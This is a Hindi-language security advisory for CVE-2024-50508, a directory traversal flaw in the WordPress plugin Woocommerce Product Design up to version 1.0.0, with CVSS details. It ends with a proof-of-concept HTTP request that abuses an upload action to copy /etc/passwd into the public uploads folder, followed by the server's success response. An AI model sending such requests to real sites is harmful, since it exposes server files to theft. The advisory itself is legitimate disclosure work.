CVE-2024-50508

Woocommerce Product Design <= 1.0.0 - अनधिकृत मनमाना फ़ाइल डाउनलोड

विवरण

WordPress के लिए Woocommerce Product Design प्लगइन 1.0.0 तक (और इसमें शामिल) सभी संस्करणों में डायरेक्टरी ट्रैवर्सल की कमजोरी है। इससे अनधिकृत हमलावर सर्वर पर मनमानी फ़ाइलों की सामग्री पढ़ सकते हैं, जिसमें संवेदनशील जानकारी हो सकती है।

विवरण

• प्रकार: प्लगइन
• स्लग: woo-product-design
• प्रभावित संस्करण: 1.0.0
• CVSS स्कोर: 7.5
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-50508
• स्थिति: बंद

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

action=pc_added_uploaded_image&file[path]=/etc/passwd

{
  "path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "message": "Image Uploaded Successfully",
  "url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "status": "success"
}